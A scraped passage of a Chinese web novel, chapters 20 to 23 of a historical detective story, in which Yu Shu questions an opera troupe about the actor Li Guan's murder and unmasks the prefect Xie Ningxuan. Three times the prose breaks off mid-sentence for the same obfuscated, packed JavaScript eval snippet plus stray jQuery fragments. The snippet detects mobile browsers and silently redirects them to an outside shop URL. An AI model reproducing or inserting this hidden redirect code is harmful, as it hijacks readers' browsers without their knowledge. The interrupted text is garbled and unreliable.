他说他在席间看田叔气哄哄的,一摔筷子往回走,担心田叔和师兄再起冲突,就忙不迭跟着一起回。快到的时候想起师兄没吃饭,还停下买了点心,所以和田叔是前后脚抵达的。敲门的时候也是三样给开的门,三样还抱怨自己睡个觉不断有人敲门。二人说话时都听见了田叔的叫骂声。他把点心递给三样,让他送去师兄房里,自己则拉着田叔回房喝酒相劝。田叔醉后,他也回房歇着了。 这说法倒是和田叔也对的上。 “他竟还关心离官吃没吃饭?还给他买糕点?”二公子盯着老四的背影,一脸怀疑。 接下来,问的人是离官的小工三样。 在他的时间线中,则只有陪同离官一起回来,给三个先后进门的人开门,接着就是到戌时给大伙开门。他自述离官回来后就径直进屋了,他平时就反感离官对他呼来喝去,动辄打骂,那日不使唤他,正合他意。何况当日离官心情不好,他才不会去主动招惹离官。 当杨捕头掏出在他房中搜出的点心渣时,他也大大方方的承认了,就是自己吃掉了老四买的点心,他根本就没去送。 三样倒是直说了自己对离官的怨念,但也笃定的说,自己之前是扬言想打他,不过说说而已,哪里称得上动机?作为离官小厮,近来他也混的风生水起,连带拿了不少赏赐,他是不会害死自己的摇钱树的。 三样刚一出去,杨捕头就挠头:“他这话也没错,按理说离官现在是台柱子,害死他,瑶花班也就完了,那班子里的成员又得回到以前苦哈哈一穷二白的日子。谁会这么想不通去害他呢?” 是啊,这与方才老四的说法不谋而合。 而且衙差盘问其他班子成员时,大家也普遍表示了对离官性情的敢怒不敢言,但真要说到深仇大恨欲除之而后快,似乎倒也没到那程度。 何况,离官死后被扒光衣服,是一种羞辱。难道仅仅是妒忌杀人? 最后一个进来的是班主,离官作为他的得意弟子,我都没想到他也有动机。直到看到他房中的一本名册,上面写着他拟定的角色、琴师、小工的人选,像是一本面试薄,但是很多人名都被另一种字体划去了,显然是离官并不满意班主面试的结果。 杨捕头话语锋利:“离官自从有了魏王的青睐,对你的态度一日不如一日,还曾叫嚣要出去自立门户。其实这瑶花班已经算是围着他转,所有剧目也以他的青衣唱段为先,可他还是不满意,嫌配角、琴师都是你选的,对不对?” 班主摸了摸名册,语气低迷:“南离这孩子有骨气,想要壮大我们瑶花班。他觉得我老了,用人选角过于保守,满足不了他开创新的剧目、演唱新的选段的想法……嗨,这也、这也无可厚非。他到底是我的养子,我辛辛苦苦培养出来的接班人啊!我怎么会害他?” “接班人?”我想起了汀汀的话,“但你们并未行过正式的拜师仪式。” 班主叹了口气:“哎,这一行是苦功夫,台上风光演出,台下练嗓、记词、唱腔、身段,哪样不辛苦呢?孩子们小的时候,我只是想让他们学手艺,长大了勉强也算个门路,却不必为了所谓的传承困于这一行当,便没有搞过什么仪式。等孩子们大了再举行,却又好像有些刻意、贪图回报似的。以前南花倒是不止一次提过,想为我们补个仪式。可那时候,我们都穷的整日为生计奔波,哪里那闲工夫?现在手上是富裕了,可……” 可人变了,离官已经不是当年跟随养父身后嗷嗷待哺的小孩子了。田班主对他有着父子之情,他却缺了些感恩。 杨捕头忿忿不平:“按照离官这样搞下去,你的瑶花班就变成他的了,你对此竟毫无怨言?” 班主腰弯了下去,五官皱在一起:“怨啥呢,孩子们都长大了,我也老了,本来就应该让年轻人做主了,哎。” 这话听着让人唏嘘,不管是不是出自班主的真心。 一时间,大家都沉默了。还是衙差韩桂先打破道:“那你昨天提前离席,只是因为与儿子生气?可有其他原因,你回来之后又都干了什么?” 许是离官的死对他打击很大,班主晃神片刻,举起颤抖的手捂了捂脸:“南沣这不孝子……我是想着,南离最近脾气很大,万一因为勒索信的事愈加暴躁可怎么办,所以想回来劝他报官。但是我去敲了门,他没给我开。这孩子现在主意大了,不愿意和我老头子商量了,我也理解,所以我就回房了,之后没再出来了。” 从摆证据到盘动机,再到交叉核查时间线,怎么有一种剧本杀的错觉?可惜不似游戏,盘问到此刻,进展缓慢。 除三样外,另外四人先后回到大院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080260|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,都是三样给开的门,进门后三样也都再次落了闩。汀汀、田叔、班主都有去敲门,均没有收到回复。老四则压根没有靠近过离官的屋子。汀汀、三样都说听见了田叔的叫骂声,老四则将他劝回屋里后,自己也回房了。而班主,连叫骂这事都不知道。 也就是说,昨晚其实这五个人根本没啥交集,时间线也是断断续续的。 “怎么回事?听起来谁也排除不了啊,是不是有人在说谎?”二公子提出一种思路。 杨捕头不敢妄下结论,支支吾吾没有回答。 “那个汀汀回来最早,她说敲门没开,会不会是……” 二公子的话没说完,我却乍然浮现一个猜想。 “等一下,前后三个人都去敲过门,离官没开,也没吱个声。这是否代表着离官不在小院,或者,他早在汀汀敲门之前就死了?” 话音一落,场面倏得安静。两个衙差狐疑的对视着,二公子则面色陡变,朝我投来惊疑不定的目光,幽深,却透着晶莹的光。 糟了,我是不是又…… “羽书妹妹,你还像小时候那般聪明!”一开口,二公子差点把我雷晕,他激动地说,“十年前,就是你找到了丢失的陀螺!太厉害了,这么多年你都没变!” 啊? 我懵了,杨捕头和韩桂也石化了。 “咳咳!”杨捕头强自憋出轻咳,觑着二公子的眼风,显然觉得此情此景也忒跑偏。“这个猜想虽好,但也讲不太通吧。” 是啊,我在说完后其实就意识到了。因为三样陪同离官回来,是有两户邻居可以作证的,邻居也未曾提及再看到他外出,或其他外人出入。何况三样也说,他及时落了门闩。 也即,如果离官死于汀汀回来前,那院中只有三样一人,但他从动机上又讲不通,目前也没有发现指证他的证据。 而除了三样,会不会有凶手自外来潜入?或者在瑶花班外出表演时,凶手已经暗中潜入藏在大院内,只等离官回来下手? 但问题是,离官虽然娇媚,却也是一青年,被徒手掐死却未让人听到任何动静,这讲不通。三样能听到敲门声,就说明没有睡死,不可能注意不到离官房中的异常。 第二,离官当日的行踪是特殊的,因收到勒索信加之表演出了差错,才会气的不去聚餐,提前回大院。那凶手如何得知?如未发生这些异常,离官会与班子成员一道回来,届时凶手想要杀人后潜逃,并非易事。 想到这儿,我再次意识到勒索信的重要性,它对离官的情绪、动线,影响都很大。 昨天下午的演出是早早就定好的,又是在太尉府,绝不可能因为他的心情而取消,可离官很执着,数次要求班主更改时间,还对着班主发了通脾气。离官久在显贵门户表演,纵然有魏王撑腰,当不至于如此不知天高地厚。 何况,方才三样还提到了一点,离官昨日未点滴泪痣。 没错,他拿手的《贵妃醉酒》,都会在眼下点一颗滴泪痣,可称为点睛之笔。昨天他竟没有点。表演的四出戏,都是他的拿手剧目,他也唱错了两处。 汀汀也说,班主被吓得不轻。表演结束后,太尉府管家本来让留下用餐,班主生怕离官再出什么岔子,都找借口拒绝了。 这足以说明,离官情绪波动极大。他的确存在郁郁而归,将自己关在门内,谁也不见的可能性。毕竟敲门的三个人,离官都对他们不满。 所以,当下调查的重点,还应该是这封勒索信。 可惜,我参与的调查就到此结束了。 因为我爹咆哮着出现了—— “你怎么还在这儿!不是说去西街了吗?女孩子家家的,在这儿问什么问!二公子啊,快带她走吧,女儿家绣绣花弹弹琴才对啊!” 21.再见凌轩 “陶子酒铺,陶子酒铺……在这!” 站在西街一间铺子前,我再次掏出了老爹给出的纸条,确认无误后,才走了进去。 这已经是两天后了。自瑶花班一日游后,老爹就不准我出门了,显然是觉得闺女出没在案发现场太过出格。或许也秉承同一观念,这两天,二公子也没登门。 今天若非老爹酒虫勾着,偏又忙于公务无暇分身,我怕是还出不了门呢。可惜呀,老爹望眼欲穿到傍晚,酒还是没喝到。 我呀,又折回到瑶花班大院去了。起因是在这酒铺,我竟遇到个熟人—— “是他赶走的你们?为什么,不是瑶花班班主招的你们吗?” 酒铺老板娘斜倚在柜台后,目不转睛的盯着买酒客人,手指戳到了新开封的口脂,都没觉察。 晨间阳光自窗缝洒下,映衬得它流光溢彩。 小二手脚麻利的打酒,一面回答:“是班主招的,没错,说是班子人不够用,就缺打杂的。但没几日,那离官就说干粗活的,还得用旧人才放心,就又把我们赶走了。” 买酒的客人穿着一袭藏蓝缎面长袍,一改往日的破旧麻衣,十分贵气。他负手而立,气质有如仙鹤,仿若修竹。没变的是,头顶发髻仍是那只白色的簪子。 他又问:“那据你了解,瑶花班,是真的缺人吗?” “缺呀!招我们之前,班子成员各个身兼几职,那光头厨子还得负责抬器具!每次表演全班都得出动,连个看家的都没有。呵,那离官,要我说,分明就是故意在……” 八卦尚未说完,我的肩膀突然被人重重一击,推的我朝前两步,险些栽倒在酒铺门口。 然而撞我的人丝毫没有回顾,只冲到酒铺门口黑脸大骂:“说什么呢!人都死了,别口无遮拦了!” 突兀的动静引起了店中三人的关注,尤其是拎起酒壶若有所思的凌轩,看到我时,目光倏地一紧。 是的,这身形如圭如璋、声音低沉清润的买酒客人,不正是我们的老熟人凌轩嘛。 幽深的眸子颇有兴致的望来,凌轩似乎对我的出现毫不意外。他弯弯嘴角,梨涡隐现:“王姑娘?真是巧哪。姑娘近来可好?” 店中店外的人都是一怔。撞我的是个光头大哥,臂弯抄着个菜篮子,顺着凌轩的目光诧异的瞧来,显然不明白自己的申辩怎么就被人无视了。 酒铺的老板娘只瞥了我一眼,又专注的盯向凌轩。这是看帅哥还没看够呢。 唯有店小二最是正常,已认出光头大哥,惊愕的叫了声:“你、你怎么在这!” 光头恨恨的瞪一眼他,臂弯的菜篮子都在抖动。“昨天官爷特别交代了,案件细节不准往外说,你再把过去的旧事到处散播,等着官府上门抓你!” 说罢,光头不再停留,转身就走,怒气冲冲。 我的余光瞥见凌轩已在柜台上搁下一串铜钱,但大脑片刻间判断出孰轻孰重,便没理会等待他,径直拔腿去追光头。 此人对外人议论瑶花班反应剧烈,又偏巧是小二形容的光头造型,再结合臂弯的菜篮子,不难推出身份,定是瑶花班的厨子。 路上都能偶遇,这是缘分啊。我为自己不恰当的参与调查寻了个蹩脚的借口,一路小跑追上了他。 “大哥!等等,大哥等等。” “别跟着了,我什么也不知道!买个菜都没个清净!” “大哥,我只是想问一下……” “问什么问!问官府去!”光头厨子不耐烦的瞪过来,脚步却一顿,“诶,我认识你,你是昨天那个大官儿身边的姑娘!” “哦对,是我,我是……” 光头厨子好奇的上下打量着我:“咱们大青几时也有女捕快了?” “快了,这不是就在测试这位姑娘的断案能力呢嘛。”凌轩不知道什么时候也追了上来,在光头厨子另一侧幽幽的说,吓了后者一跳。 “那你、你又是什么人?”光头厨子狐疑的问。 凌轩再次瞎说,表情倒是磊落无比:“监督测试她能力的,府衙一师爷。” 光头厨子诧异:“师、师爷?这么年轻?” “府丞大人年轻有为,也不喜欢用年长的师爷。”凌轩回答的极其顺口。 光头厨子自是信了,却又肉眼可见的紧张起来,瞧瞧我又瞧瞧凌轩。“啊,那您二位今日逮着小人问……天哪,小人可真冤枉呐,他的死和小人毫无关系!小人全程都和大伙在一起,绝没有……” “不不,大哥多虑了。”我赶忙解释,“正是因为大哥清白的很,证词可靠,我二人才特来请教大哥的呀。您不必多虑,有什么说什么,协助官府早日破案,也是功劳。” 光头厨子松了口气,复又迈起步子,一面擦着额头冷汗。 我瞄一眼凌轩,见他没有开口的意思,便索性先问:“大哥,方才那嚼舌根的店小二,说的是真的吗?离官故意遣散了班主招的杂工?” 光头厨子脸色一沉,没好气的说:“咋不是真的?一天天吃饱了撑的。若不是他把新来的都打发走,我至于忙成这样,都没时间做大伙的饭,还得出去聚餐吗?” 呦,看来光头厨子对离官怨念也不小。 “是哦,真是脾气大。”我迎合着,又问,“表演那天,他一直都没和你们说话?” “是啊!”光头厨子语气愤懑,“别说那天,他这几个月呀,脾气是越来越坏。表演那日,中午照例我做了一大桌子菜,我们大家都聚到厨房边的饭厅里,打气鼓劲嘛,可他就没来。我还以为他又嫌我饭做得不好呢,后来才知道他收了个勒索信。” 凌轩毫不惊讶,只问:“你们知道勒索信的内容吗?” 他果然清楚案件情况,消息灵通。呵。 “这谁知道,他又不肯说!” “他是不是做了什么见不得光的事啊?怎么还被人勒索呢?”我追问。 光头厨子有些恼火,对着空气摆了摆手,好像要赶走萦绕在心头的烦恼一般。“我哪知道这些。不过我看,他也就是个窝里横。在我们班子里趾高气昂,出去表演那恭谨感恩的呦,我呸!纸老虎一个,他敢干什么狠事啊!” 说到激愤之处,光头厨子手臂不自觉扬了起来,露出衣袖上一朵小花。 “这花……”我觉得有些眼熟,“我好像在汀汀裙角也看到了。” 犹如一口气散了,光头厨子塌下了肩膀,声音也变细了:“是,哎,都是大师姐绣的。” 凌轩挑眉:“怎么,你们的衣服都是大师姐给缝制的?” “嗨,那倒也不是。”光头厨子低沉着说,“我们刚组成班子时,穷的铃铛响,谁衣服破了,都是大师姐给缝补。她自己名字里有个‘花’,缝完后就会再绣朵小花。嘿嘿,基本上每个人衣服上都有这朵小花呢。可惜,可惜啊……大师姐真的是个好人,生的美又唱得好,身段柔软。演贵妃醉酒时,歪倒在榻上,那醉容让人一看就入戏。可谁想,哎!谁想,一场风寒就把她带走了。” 大师姐也唱得青衣?哦对,汀汀说过,班主也教授了老大青衣唱腔。 “这个,我也搞不清楚。只是听班主说过,他一开始教的确实都是青衣。班主啊,年纪大了,回乡养老,但收养了几个孩子,又老来得子,总觉得自己的绝活不传承下去有些可惜,这才教他们唱戏。” “那老三老四怎么现在唱别的?” “班主说他教了一年后,发现只有大师姐和二师兄最有天分,所以就将精力都放在二人身上。三师兄、四师兄则交给了同在京城唱过曲、也回乡养老的同伴,教了生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097648|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角、净角,也学了武生的一些本领。”光头厨子顿了一下,又道,“但我听三师兄抱怨过,那同伴年纪大了,又不是自己孩子,教的不是很上心,有一搭没一搭的。因此三师兄、四师兄的唱功并不上佳。” 原来如此,怪不得亲生儿子要怨怼于班主了。 光头厨子也说:“眼见这大半年二师兄名利双收,三师兄也有些眼红,所以常和班主吵架。” 凌轩追问:“那他和离官有争执吗?” 光头厨子的回答与汀汀一致,说师兄弟关系一向很好。 可老三嫉妒老二能够学父亲的技艺,却不讨厌老二,这合理吗? “离官唱的极好,看来田班主是尽授功力,毫无保留了?” 光头厨子没回答,只默默片刻:“其实,大师姐才是唱的最好的那个,也许因为她本身就是女子吧。可惜呀……” 许是憋闷在心中也挺难受,光头厨子打开了话匣子。 “我们这瑶花班啊,是当年在老家组的班子,但是班主教的都是京城惯常的戏种,家乡不太有人听,两年前我们便一道来京城闯闯。那时候手上没钱,只能在京郊一些乡镇演出。大师姐亡故的时候,班主就曾担心只有一个青衣,班子会散掉,还好二师兄争气,现在他又走了……说来,大师姐死的真是让人惋惜,我还记得他们师兄弟三人哭了很久,四师兄最伤心,毕竟那是他亲姐姐。” “什么,亲姐姐?”我倒吸一口凉气,那厢,凌轩也朝我投来凝重的眼神。 “嗯,四师兄和大师姐是一母同胞的姐弟,只是从小父母双亡,所以被班主收养。” 凌轩登时浮出怀疑:“难道大师姐的死有问题,老四给姐姐复仇才杀了离官?” “不不不,不可能,您这话说的不对!”光头厨子张大了嘴,连连摆手,“那时大师姐唱戏份重的青衣,还要照顾底下人。一次摔伤了手,还是二师兄去帮忙抓的药呢。我还记得二师兄说药店买不到甘草,叫我也帮忙去找药。那段日子我们是真的不容易,票也卖得不好,叫座的百姓也少,大家手上都紧巴巴的。” 他越说越伤感,语气戚戚,“没过多久,师姐又得了风寒,反反复复的。师姐病重的时候,脸上长了一些红色的斑,她觉得自己上不了台了,说若是唱不了戏,不如死了算了。眼见她心生绝望,我们大家别提多难受了。所以我觉得,师姐八成也是自暴自弃了。师姐死后,三个师兄都悲痛欲绝,二师兄也是!所以说他害了大师姐,那是不可能的!我还看到过……” 话语一顿。 我奇怪地问:“嗯,看到过什么?” 光头厨子却将嘴巴抿的紧紧的,不肯再说。 嘿,故事讲一半,这不是存心吊人胃口吗? 我和凌轩对视一眼,他立时轻咳着摇头:“看来王姑娘这次考核过不去了,我说破案没那么简单吧。行了,你还是回家绣花去吧。” 我知道这家伙的套路,便配合着演戏,装作委屈道:“我都吃了那么多苦头了,不能因为一时失败就放弃吧!时间还没到,我不认输。” “你自己说这大哥人善又豁达,肯定能问出线索,现在可好,看走眼了吧?” “谁说我看走眼了!大哥只是一时没想好怎么开口!班中的人都说论义气就属大哥是一等一的,绝不会眼看我受阻却不帮忙,对吧,大哥?”我堆上笑容,眼巴巴瞧去。 光头厨子懵逼的听着我二人一唱一和,不知不觉被捧上了高位,果然一时上头,说了出来:“就是,就是!姑娘这么信任我,特地来米铺等我,我怎么能置姑娘于不义!来,姑娘,我告诉你,其实班里有个秘密,知道的人很少很少呢!” 看来是个大新闻,我立即附耳,就听厨子神秘兮兮道:“秘密就是,二师兄呀,喜欢师姐。” 22.身份 离官喜欢大师姐? 我方了,凌轩也面露质疑。 光头厨子见我二人反应,眼睛一瞪:“嘿,你们不信啊?真的,我亲眼见过的!那还是在京郊表演的日子,有一回我看见大师姐手里拿着一封信,脸上红扑扑的。二师兄匆匆走过,看见我的时候还剜了我一眼,不就是嫌我撞见他给大师姐送情书呗。” 等等,这么说,离官喜欢大师姐,汀汀喜欢离官,老四喜欢汀汀,老四和大师姐又是亲姐弟。 妈呀,这关系有点乱啊! 凌轩蹙眉问:“那大师姐和离官,在一起过吗?” 光头厨子语气遗憾:“那我就不知道了。但我可没撒谎啊,当时三师兄还从我背后走过了呢,八成也看到了,不信你们去问三师兄!” “可你看到的只有递信一幕,就此判断离官喜欢大师姐,会否草率了?” 光头厨子摊手:“反正大师姐当时那个样子,一看就是女儿家娇羞的模样,没跑!” 这厨子已年过三十。其实班子里大多数人也都比班主的徒弟们大,只是由于后者的核心地位,大家习惯了尊称他们为师兄师姐。厨子这话是典型的以过来人角度推论,倒也不能完全否定。 不过,我又提出:“只是看到大师姐手里有封信,离官经过,也不一定就是离官递出情书吧,说不定是大师姐给离官递情书被退回呢?” 我的说法让光头厨子傻了眼,显然他完全没这样想过。 其实不管谁主动,离官和大师姐都已经不在。他们之间到底有没有情愫,只能再去问问其他人了。 光头厨子衣袖上的小花再次露了出来,肉眼可见的磋磨糟烂不少。 我不禁好奇:“大师姐已经离开一年了,怎么你们都没有换新衣吗?” 光头厨子腼腆一笑:“哎,也是舍不得,这些衣服都还能穿,看见小花就好像大师姐还在,聊做缅怀吧。还有个原因,”他搔搔头,有些不好意思,“我们瑶花班也就是这几个月有些名头赚了些钱,以前大家吃不起好饭好菜,喝不起酒楼的酒,所以赚了钱也都用来吃吃喝喝了。哦,您看我在家乡还有妻女,不得为家人攒点钱嘛,偶尔买两件新衣服过过瘾得了,哪能都换新衣呢。” 话说的朴实,却也听着辛酸。 我点点头,还想追问时,杨捕头的声音忽然响起:“大人,王小姐,你们怎么一起过来了?” 我猛一抬头,这才意识到,不知不觉的,我竟跟着光头厨子走到了瑶花班大院门口。 而被杨捕头唤作大人的,此时就站在光头厨子另一侧,长身玉立,眉眼舒展,朝我悠悠笑着。 我看着他荣宠不惊的淡定笑容,可高兴不起来。 许是感受到了我们之间微妙的气氛,杨捕头拉着一脸懵逼的光头厨子匆匆离去。 凌轩这才笑道:“观姑娘表情,生气大于惊讶。这是早就猜到我的身份,怪我有所隐瞒了?” 我努力挤出微笑:“出门在外掩盖身份,有何责怪?只是谢府丞明明认出了我,却避而不谈,话语处处都是试探,这恐怕不是对待故交的态度吧?” 凌轩脸颊的梨涡又露了出来:“王姑娘当时不也对我自称的身份,充满怀疑吗?否则何必推我下桌,还故意点那么多菜?回程的马车上,试探的话也不少呀。” 他果然注意到了。 “不过我还是蛮好奇的,姑娘怎么猜出的,向令尊或者宁辕查证了?” “宁辕……”我在唇齿间品味着这二字,更加肯定了自己的猜想。“呵,估计我乍然提到‘凌轩’二字,他们俩一时半会儿还意识不到的吧。” “哦?看来是我小瞧姑娘了。那姑娘是通过?” 我毫不掩饰的朝他上下打量一番:“在秋水县你的穿着的确朴素,但实际上,你很少穿麻布衣衫的吧。难道你没有注意到,同那些真正的底层人民不同,你每次坐下或者起身,从不整理衣摆,而只有身处高位的人每日更衣,且有专人打理,才会无需顾忌衣服褶皱。当然,你可以解释说自己作为幕僚也有仆人,也有钱天天换衣服。但你对赵大人及衙差的态度、赴宴时很自然就坐在主位、下命令时极其自然,处处透着上位者的松弛和俯视,绝非需要弯腰伺候主子的幕僚应有的习惯。而你又拿着御青王的令牌,说明你和他一定有渊源。如果不是他的幕僚,那你就一定也是官员或者宗室,才敢招摇过市。” “这就是你在秋水县就偷偷打量我、怀疑我的原因?说的很精准,没问题。但这也只能证明,我不仅仅是个幕僚。可观姑娘神态,分明对我是京城府丞也不惊讶,这又是怎么获悉的?” 我耸耸肩,慢慢讲道:“第一,你的簪子,白玉通体,乍一看普普通通,但细看实则花纹繁复。后来我无意中看到,二公子发髻上那只墨绿的簪子,竟然也有一样的花纹。第二,”我举起手,将手上的戒指露出来:“王妃对这枚戒指的反应令我惊诧,问了才知,这竟然是八年前,我即将离京时,王妃吩咐定制的,一枚送了我,一枚送了大小姐,象征我们之间的友谊。但它并非坊间热卖款式,如此隐晦旧事,你都能认出,你定是齐王府中人。 第三,叠彩辉贵重的胭脂,你竟也熟悉。可你自己也说了,供不应求,一度风靡。那你怎么知道的?偏偏那么巧,为了迎接我回来,王妃送我的礼物中,就有这么一盒。第四,瑶花班的厨子方才提及,官府严令细节外传,这和你在秋水县吩咐赵大人的话雷同。你明明自称幕僚,但对刑案调查的流程也好、判断也罢,绝非一般文书工作能达到的。何况当日你只是听小二说有人遇害便第一个冲上楼,检查现场,又随口叫出了县太爷的姓氏,都太明显了,不是吗?第五,你心思细腻,做事考虑周全,但送我回到南咏街时,并未核实我爹身份就让我下了马车,这与你的性格不符。但如果你早就认识我爹,清楚知道我回去绝无危险,就讲得通了。” 一口气说完,我缓了口气,才又定定续道,“当然,还有最重要的一点,我自从听说二公子有个哥哥,就是京城府丞,极善破案。再结合他的名字,宁辕……而你,凌轩,宁轩……无需细品,都知这是化名。呵,你其实是天家姓,叫谢宁轩,是齐王爷的长子,京城府丞。我说的没错吧?” 谢宁轩幽深的眼眸中亮光划过,他丝毫不掩盖自己的欣赏,但同时,也闪烁着警惕。 “王姑娘果然聪慧。我听杨浮生说两日前来了个极其冷静睿智的姑娘,就猜到许是故人。今日得见,甚是宽慰。” “宽慰?你不是对我的身份也有所怀疑吗?” “不该怀疑吗?”谢宁轩微笑,“你说我冲进案发现场的行为反常,你又何尝不是?我还从没见过一介女子那般冷静自持呢。尤其你说你的名字后……” 我心中一跳,不免有些紧张。早在我品出此人身份后,就意识到自己之前的行为疏忽了。此刻,我只能沉着应对:“你意识到我是谁后,更加怀疑了?但我落水失忆了,我记不得京中的一切,也很正常啊。” “可我认识的王羽书, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13114758|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似乎没有这么勇敢聪慧吧?” 我压下剧烈的心跳,尽量平静的回答:“且不说女大十八变这样的敷衍之词。你我已经八年未见,我什么性格,你能了解?其次,谁说我不勇敢聪慧了?小时候我哪条河不敢下?哪只虫不敢抓?那次藏起来的东西不是我找到的?你那宝贝弟弟,不都是我的跟屁虫么?我是逃学堂逃得多,但我爱听说书啊。每次闯祸被发现,我都能找到理由躲避处罚,倒是你的倒霉弟弟,脑筋笨的不会转弯,不是吗?” 这都是二公子欲唤醒往日回忆时说的,现在被我用来搪塞,希望能有用吧。 面上不显,我故作大方的迈着步,实则紧张极了,余光一直偷窥着他。 好在谢宁轩深深一笑,梨涡圆圆,尖锐的气场也消散了些。“这么说,倒是我一直忽略了小时候的你,竟不知那时,你已然有这般气质了。” 这般气质?他好像在骂我。 “命案发生那日早上,有两拨人来我家找爹爹,其中一拨是衙差。而另一拨人,是你派来的吧?” “哦?我打着母妃的名义,你也看穿了?”谢宁轩目光幽深,有光彩一闪而过。 “因为我发现关于我容貌的画轴不见了。王妃已经见过我,爹爹亲自领去的,没理由再要我的画轴核实身份。是你吧?你怀疑这所谓的‘王羽书’被掉包了,而爹爹又是齐王爷身边近臣,若被刺客浑水摸鱼,恐对王爷不利。所以你以王妃名义借走画轴,就是想看看,长大了的王羽书,到底长什么模样?怎么,需不需要亲自上手摸一摸,看看我是否带了人皮面具?” “人皮面具?你果然说书没少听。”谢宁轩幽幽一笑,眉头舒展,透着愉悦,“姑娘说笑了,我担任京城府丞这么久,还从没见识过这东西呢。” 哦?看来这个世界并没有这种玄幻的扯淡的玩意。 但我还有疑问:“陶子酒铺,我爹说喜欢那里的老酒,我磨了一早上,他才让我出门去打酒,却那么巧碰见了府丞大人你……你在跟踪光头厨子,还是追查那小二呢?” 谢宁轩笑容未变,透着丝丝狡黠:“王姑娘觉得呢?” 我心口一跳。莫非,是跟踪我? 见我神色有变,谢宁轩摇摇头,扬了扬拎着的酒壶:“王姑娘别误会,我可没有那么下作。我去陶子酒铺,其实和你的理由一样。” “和我一样……啊,你是为我爹买酒?” 谢宁轩却笑:“王副官可是我府衙最得力的仵作官,为验尸熬了个通宵,我买点他喜爱的酒登门一谢,有何不妥?” 啊?就这么简单? 我有些怀疑,但见他目光澄澈清明,神色坦然从容,一时间,好像映衬得我小人之心了。 我唯有吞下猜疑,只问:“那厨子和店小二是怎么回事?” “意外所得。我也是打酒时听到小二谈论,才追问起来。而他之所以谈起来,则是看见了光头厨子自门口而过的身影。” 谢宁轩话语一顿,又朝我暖暖一笑,还作了个揖:“姑娘海涵。既然姑娘意识到了,我自不会隐瞒。起初,我对姑娘,的确有所怀疑,不过身份已经证实,是我多虑。自当向姑娘赔个不是。自今日前,我与姑娘重新相识,过往不究,姑娘可愿给份薄面?” “重新认识?可以呀。”我却没松口气,“只是,这就算证实了?不需要去东橘村查看查看是否真有落水一事?” 谢宁轩挑挑眉,未做回答。 我倒吸一口气:“你竟真的派人去了?” 23.橙橙 谢宁轩摊摊手做无辜状,眼神柔和许多:“姑娘这就冤枉我了。我派人去,也是为了调查你为什么会落水呀。毕竟你失忆了,当时到底发生了什么,橙橙哪里去了,怎么就孤身一人了,我得给王伯父个交代。” 哼,说的好听。不过此人玲珑心思,做事滴水不露,真是不好对付。 没办法,我在秋水县没料到他竟与原主有渊源,向他展示了我真实的性格和能力。他若是怀疑起我的来路,就麻烦了,他可比二公子难应付。 好在原主回金华府八年了,小时候也的确是个孩子王,称得上句机智勇敢。 而且最重要的是,在齐王府的饭局上,关于原主儿时的趣事,出现在回忆画面中的只有二公子和大小姐,足以说明这谢宁轩,与原主儿时并不熟悉。 还要感谢这穿越来的世界,没有那么多无厘头超越现实的物件。这样一来,只要我在这具皮囊里,哪怕他对我的性情大变充满疑虑,也不能怀疑我王羽书的身份。 这样想着,我总算卸下了心防。 但下一秒,他方才话语中的几个字,引起了我的怀疑。 “诶,你怎么知道我的丫鬟名叫橙橙,我没有告诉过你呀?你在东橘村打听到的?那还查到了什么线索?” 谢宁轩脸颊的梨涡消失,换之以严肃表情:“王姑娘,你失了记忆,那金华府的一切,是不是也不记得了?” 我心中有些不好的预感:“是,怎么了?” “我怀疑,你的落水并非意外。” 我脚步一滞,血液一瞬间集中到大脑,手脚都冰凉了。 “竟真的如此……” 谢宁轩挑眉:“你也有所察觉了?我派人找到了从河中救出你的好心人,他还记得你落水时,对岸有个姑娘,紧张的看着河中挣扎的你,但你被救上来之后,她便不见了。” “你也怀疑我是被推下水的?哦,还有一点很蹊跷,我爹说,与我一路同行的有四个丫鬟四个小厮。虽说或许我出门逛街只带了橙橙一个丫鬟,但落水后我曾在村中等了一天,期间,村中并无任何找人迹象。那我的其他仆人,为什么不着急寻我?” 我话没有说完,谢宁轩脸色已经变了。“果然有问题。” “怎么讲?” “我的人找到了你在东橘村下榻的客栈,从掌柜到小二都很明确,你只带了一个丫鬟。我听后就起了疑惑,你一个姑娘家千里迢迢上京路,怎么可能只有一个丫鬟陪同。现在看来……” 我亦心惊不已,接过他的话头:“现在看来,在东橘村之前,其他丫鬟小厮已经不见了。” “没错。”谢宁轩锁眉,“可问题是,为什么?” 对啊,为什么?好端端一行人同行,为什么路上会少了大批下人?这些人的失踪,也和丫鬟橙橙有关吗? “另外,还有一事不明。” 我紧张的咽口口水:“还有什么?” “从金华府上京,陆路应走徽州、南阳一路。这东橘村,本就不该在你上京的路线上,你为什么会绕道那儿?” 